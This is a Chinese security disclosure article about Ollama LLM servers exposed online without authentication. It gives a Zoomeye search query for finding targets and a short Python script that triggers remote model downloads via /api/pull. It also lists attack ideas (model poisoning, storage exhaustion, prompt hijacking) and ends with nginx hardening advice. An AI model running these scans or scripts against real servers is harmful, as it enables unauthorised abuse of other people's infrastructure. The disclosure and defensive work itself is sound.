摘要
近期针对AI基础设施的网络安全扫描发现,全球范围内存在大量未授权暴露在公网的Ollama大模型服务器。这些服务器不仅暴露了模型管理接口,还存在敏感操作未授权访问风险。本文通过实证研究揭示了该问题的技术细节及潜在危害。
展示了“用AI攻击AI已成为现实”
本测试除思路是人以外,其他全用AI完成(包括各种测试用例以及本稿撰写,从想法-攻击测试-完稿。前后半小时)
一、发现过程
1.1 资产测绘技术应用
通过Zoomeye网络空间搜索引擎,使用以下语法进行目标定位:
app="Ollama" +country="*"
图1:Zoomeye搜索结果
1.2 API接口验证
测试开放API端点:
GET /api/tags HTTP/1.1
Host: [目标IP]:11434
典型响应示例:
{
"models": [
{
"name": "deepseek-r1:7b",
"model": "deepseek-r1:7b",
"modified_at": "2025-02-12T21:48:07.4588927+08:00",
"size": 4683075271,
"details": {
"parent_model": "",
"format": "gguf",
"family": "qwen2",
"families": [
"qwen2"
],
"parameter_size": "7.6B",
"quantization_level": "Q4_K_M"
}
}
]
}
二、技术风险分析
2.1 高危操作接口
接口路径 | HTTP方法 | 风险等级 | 影响范围 |
/api/pull | POST | 严重 | 远程下载任意模型 |
/api/delete | DELETE | 高危 | 删除已有模型 |
/api/generate | POST | 中危 | 模型推理操作 |
2.2 攻击向量示例
自动化攻击脚本核心代码:
importrequests
defollama_rce(target_ip, model_name):
# 模型下载漏洞利用
payload = {"name": model_name, "stream": False}
resp = requests.post(f"http://{target_ip}:11434/api/pull", json=payload)
ifresp.status_code == 200:
print(f"[+] 成功部署 {model_name} 模型")
# 后续推理攻击代码...
图2:自动化攻击演示
三、影响范围统计
国家/地区 | 暴露主机数 | 含模型主机 |
*/* | 31,200 | xxxx |
四、进阶攻击场景
- 模型投毒攻击:通过/api/pull注入恶意模型
- 资源耗尽攻击:循环下载大型模型耗尽存储
- 知识库泄露:访问/api/knowledge-base(需进一步验证)
- 提示词劫持:篡改/system/prompts配置
五、防御建议
5.1 基础防护
# 配置反向代理限制访问
location /api/ {
allow 192.168.1.0/24;
deny all;
auth_basic "Ollama Admin";
auth_basic_user_file /etc/nginx/.htpasswd;
}
5.2 增强措施
- 启用OLLAMA_HOST环境变量绑定
- 配置TLS客户端证书认证
- 实施请求频率限制(建议<5req/min)
- 定期审计模型哈希值
六、结语
AI基础设施的快速部署与安全建设的滞后形成鲜明反差。本文披露的案例表明,攻击者已能通过自动化工具在数分钟内完成从目标发现到攻击实施的完整链路。
下附AI助攻图
图3:AI帮助完成python攻击脚本
图4:AI帮助本文写稿
图5:程序输出全网私有大模型存在威胁的结果
法律声明:本文所有技术细节仅用于安全研究目的,禁止用于非法用途。
(正文完)Finback QQ 18581
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)